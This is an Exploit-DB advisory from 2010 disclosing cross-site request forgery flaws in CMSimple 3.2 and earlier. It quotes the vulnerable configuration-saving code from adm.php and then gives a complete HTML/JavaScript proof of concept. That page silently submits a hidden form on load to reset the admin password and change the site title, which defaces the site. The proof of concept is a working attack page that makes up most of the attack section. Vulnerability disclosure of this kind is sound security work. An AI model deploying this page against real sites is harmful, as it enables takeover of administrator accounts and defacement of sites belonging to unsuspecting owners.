CMSimple - Cross-Site Request Forgery

EDB-ID:

15037

CVE:

N/A


Author:

Abysssec

Type:

webapps


Platform:

PHP

Date:

2010-09-18


'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-18-cmsimple-xsrf-vulnerability/

'''


- Title  : CMSimple XSRF Vulnerability
- Affected Version :CMSimple  <=3.2
- Vendor  Site   : www.cmsimple.org

- Discovery : Abysssec
 
 
- Description :
===============
CMSimple is one of the smallest, smartest and most simple Content Management Systems under the GPL or AGPL licence.
This CMS supported Multi language.

- Vulnerability:
==================
XSRFs
--------
Several XSRF existed in this CMS, attacker can use them for: changing admin password ,change use type or  ,Deface the website. 

Here is vulnerable code:

	file:cmsimple/adm.php[line 141-180]:
				if ($action == 'save') {
					if ($form == 'array') {
						$text = "<?php\n";
						foreach($GLOBALS[$a] as $k1 => $v1) {
							if (is_array($v1)) {
								foreach($v1 as $k2 => $v2) {
									if (!is_array($v2)) {
										initvar($k1.'_'.$k2);
										$GLOBALS[$a][$k1][$k2] = $GLOBALS[$k1.'_'.$k2];
										$GLOBALS[$a][$k1][$k2] = stsl($GLOBALS[$a][$k1][$k2]);
										if ($k1.$k2 == 'editorbuttons')$text .= '$'.$a.'[\''.$k1.'\'][\''.$k2.'\']=\''.$GLOBALS[$a][$k1][$k2].'\';';
										else $text .= '$'.$a.'[\''.$k1.'\'][\''.$k2.'\']="'.preg_replace("/\"/s", "", $GLOBALS[$a][$k1][$k2]).'";'."\n";
									}
								}
							}
						}
						$text .= '?>';
					}
					else $text = rmnl(stsl($text));
					if ($fh = @fopen($pth['file'][$file], "w")) {
						fwrite($fh, $text);
						fclose($fh);
						if ($file == 'config' || $file == 'language') {
							if (!@include($pth['file'][$file]))e('cntopen', $file, $pth['file'][$file]);
							if ($file == 'config') {
								$pth['folder']['template'] = $pth['folder']['templates'].$cf['site']['template'].'/';
								$pth['file']['template'] = $pth['folder']['template'].'template.htm';
								$pth['file']['stylesheet'] = $pth['folder']['template'].'stylesheet.css';
								$pth['folder']['menubuttons'] = $pth['folder']['template'].'menu/';
								$pth['folder']['templateimages'] = $pth['folder']['template'].'images/';
								if (!(preg_match('/\/[A-z]{2}\/[^\/]*/', sv('PHP_SELF')))) {
									$sl = $cf['language']['default'];
									$pth['file']['language'] = $pth['folder']['language'].$sl.'.php';
									if (!@include($pth['file']['language']))die('Language file '.$pth['file']['language'].' missing');
								}
							}
						}
					}
					else e('cntwriteto', $file, $pth['file'][$file]);
				}
	
	+POC:
		show this code as html page to CMS Admin:
			<html>
			<head>
			<title>Change Password and Deface site.</title>
			<script>
				function creat_request (path,parameter,method) {
				method = method || "post"; 
				var remote_dive = document.createElement('div');
  				remote_dive.id = 'Div_id';
  				var style = 'border:0;width:0;height:0;';
  				remote_dive.innerHTML = "<iframe name='iframename' id='iframeid' style='"+style+"'></iframe>";
  				document.body.appendChild(remote_dive);
   				var form = document.createElement("form");
  				form.setAttribute("method", method);
  				form.setAttribute("action", path);
  				form.setAttribute("target", "iframename");
				
  				for(var key in parameter) {
  				var hiddenField = document.createElement("input");
  				hiddenField.setAttribute("type", "hidden");
  				hiddenField.setAttribute("name", key);
  				hiddenField.setAttribute("value", parameter[key]);
  				      form.appendChild(hiddenField);
    				}
  				document.body.appendChild(form);  
  				form.submit();
				}    
				function  bypass(){
      				  creat_request('http://site.com/cmsimple/',{'security_password':'test1','security_type':'page','site_title':'ALERT.','site_template':'default','language_default':'en','meta_keywords':'CMSimple%2C+Content+Management+System%2C+php','meta_description':'CMSimple+is+a+simple+content+management+system+for+smart+maintainance+of+small+commercial+or+private+sites.+It+is+simple+-+small+-+smart%21','backup_numberoffiles':'5','images_maxsize':'150000','downloads_maxsize':'1000000','mailform_email':'','editor_height':'%28screen.availHeight%29-400','editor_external':'','menu_color':'000000','menu_highlightcolor':'808080','menu_levels':'3','menu_levelcatch':'10','menu_sdoc':'','menu_legal':'CMSimple+Legal+Notices','uri_seperator':'%3A','uri_length':'200','xhtml_endtags':'','xhtml_amp':'true','plugins_folder':'','functions_file':'functions.php','scripting_regexp':'%5C%23CMSimple+%28.*%3F%29%5C%23','form':'array','file':'config','action':'save'});
				}

			</script>
			</head>
			<body onload="bypass();" >
			</body>
			</html>